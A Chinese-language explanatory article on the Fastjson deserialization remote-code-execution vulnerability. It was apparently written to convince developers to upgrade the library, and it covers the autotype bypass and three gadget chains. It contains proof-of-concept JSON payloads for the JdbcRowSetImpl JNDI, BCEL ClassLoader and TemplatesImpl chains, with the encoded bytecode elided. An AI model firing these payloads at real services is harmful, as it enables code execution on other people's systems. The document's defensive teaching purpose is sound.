Fastjson反序列化漏洞利用分析

Fastjson反序列化漏洞利用分析

​

背景

在推動Fastjson組件升級的過程中遇到一些問題，為幫助業務同學理解漏洞危害，下文將從整體上對其漏洞原理及利用方式做歸納總結，主要是一些概述性和原理上的東西。

漏洞原理

多個版本的Fastjson組件在反序列化不可信數據時會導致代碼執行。究其原因，首先，Fastjson提供了autotype功能，允許用戶在反序列化數據中通過“@type”指定反序列化的類型，其次，Fastjson自定義的反序列化機制時會調用指定類中的setter方法及部分getter方法，那么當組件開啟了autotype功能並且反序列化不可信數據時，攻擊者可以構造數據，使目標應用的代碼執行流程進入特定類的特定setter或者getter方法中，若指定類的指定方法中有可被惡意利用的邏輯（也就是通常所指的“Gadget”），則會造成一些嚴重的安全問題。

那么不開啟autotype功能就安全了嗎？

不是的，在Fastjson 1.2.47及以下版本中，利用其緩存機制可實現對未開啟autotype功能的繞過，繞過細節可參考（https://www.anquanke.com/post/id/181874），代碼驗證邏輯的問題，不再贅述。

利用方式

那么Fastjson反序列化不可信數據時是如何導致代碼執行的呢？這就是漏洞原理一節中所說的可被惡意利用的邏輯，目前公開的、攻擊者使用廣泛的Gadget無外乎有這么幾種，下面會具體解釋下指定setter或getter方法中可被惡意利用的代碼邏輯：

基於JNDI注入

JNDI即Java Naming and Directory Interface，Java命名和目錄接口，JNDI提供了很多實現方式，主要有RMI，LDAP，CORBA等。JNDI提供了一個統一的外部接口，底層服務實現是多樣的。

以RMI為例，RMI Registry有Name到對象的映射關系，應用通過java.rmi.naming#lookup方法向Registry發出查詢請求，得到映射關系，再連接RMI Server實現遠程方法調用。

如果說其lookup方法的參數是我們可以控制的，可以將其參數指向我們控制的Registry，那我們可以在Registry綁定一個指向遠程類的Reference對象（當對象為Reference類型的時候，應用會加載遠程類並實例化），遠程類的靜態代碼塊及構造方法均可控，從而導致任意代碼執行。

下面以com.sun.rowset.JdbcRowSetImpl類為例具體解釋下，

基於類com.sun.rowset.JdbcRowSetImpl的POC如下：

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://localhost:1097/Object",
  "autoCommit":true
}

Fastjson在反序列化的時候，會使用asm來構造對象，然后調用對象的setter方法。在解析上述json字符串時，首先構造JdbcRowSetImpl對象，然后調用setDataSourceName方法和setAutoCommit方法為對象賦值，在調用setAutoCommit方法時，會通過connect方法調用lookup方法向Registry發出查詢請求，而Registry的地址正是dataSourceName的值，這就導致了lookup方法參數可控，進而我們可以通過自定義Registry實現進一步漏洞利用。

connect方法代碼：

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

類似的，除com.sun.rowset.JdbcRowSetImpl外，還有org.springframework.jndi.support.SimpleJndiBeanFactory、com.mchange.v2.c3p0.JndiRefForwardingDataSource、org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、org.hibernate.jmx.StatisticsService等等都可以成為“Gadget”中的一環，基於JNDI注入實現代碼執行。Java類庫何其多，JDK中的、第三方的，未來也一定會出現更多的可被惡意利用的類庫。

值得一提的是，在高版本的JDK中做了對JNDI注入類攻擊的防護，主要是通過限制遠程類的加載實現，具體細節可以參考我的這篇文章https://www.cnblogs.com/Welk1n/p/11066397.html，其中有比較詳細的防護原理以及某些條件下的防護繞過說明。

基於ClassLoader

POC如下：

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassLoader" :
  {
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}

首先看一下com.sun.org.apache.bcel.internal.util.ClassLoader這個類加載器的加載機制，java、javax和sun這三個包下的類會通過系統類加載器進行加載，然后當遇到一些特殊的類名，class_name以$$BCEL$$開頭的類，會調用createClass方法去解析class_name，在createClass方法中會將$$BCEL$$之后的字符解碼成字節數組，並將這個BCEL編碼后的類加載到虛擬機中。換言之，我們可以構造className為一個特殊的字符串時，通過這個類加載器來實現對自定義類的加載。

  protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

那么，當Fastjson反序列化org.apache.tomcat.dbcp.dbcp.BasicDataSource對象時，首先通過setter方法設置其driverClassLoader和driverClassName屬性，然后會調用其getConnection方法，又最終調用了createConnectionFactory方法，其通過Class.forName方法用driverClassLoader加載driverClassName，並設置是否初始化參數為true。forName方法實際最終調用了C實現的Native類型的方法，分析C源碼可知，其底層的加載邏輯仍是調用類加載器的loadClass方法加載自定義類，有興趣的朋友可以自己去分析下JVM層面的實現，這兒不再展開，了解即可。

driverClassLoader和driverClassName都是json傳入，外部可控，那么若將driverClassLoader設置為com.sun.org.apache.bcel.internal.util.ClassLoader，driverClassName設置為經BCEL編碼后的自定義類，那么就實現了在反序列化時加載自定義類的目的。於是攻擊者可以在static代碼塊中編寫惡意代碼，將其進行BCEL編碼，在類初始化時實現惡意代碼執行。

基於TemplatesImpl

POC如下：

{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],
  '_name':'a.b',
  '_tfactory':{ },
  "_outputProperties":{ }
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl這個類有個比較特殊的能力，可以解析然后加載實例化_bytecodes變量中的字符數組，_bytecodes的值是可控的，所以攻擊者只要構造惡意類對應的字符數組，然后通過getOutputProperties方法觸發惡意類的加載及實例化，同樣實現了遠程代碼執行的效果。

一些具體的細節可以參考這兩篇文章：

1. [http://xxlegend.com/2017/05/03/title- fastjson 遠程反序列化poc的構造和分析/](http://xxlegend.com/2017/05/03/title- fastjson 遠程反序列化poc的構造和分析/)
2. https://paper.seebug.org/636/

不過此種利用方式需要在解析json串時設置Feature.SupportNonPublicField，而業務同學在使用fastjson時往往會直接按照默認參數調用parseObject方法，所以略為雞肋。

建議

可以看到上面幾種Gadget都能用來攻擊使用Fastjson的應用，實現代碼執行，相對來說第一種方式殺傷力更強一些。所以還請務必將組件升級到最新版本，來避免攻擊者對此漏洞的攻擊。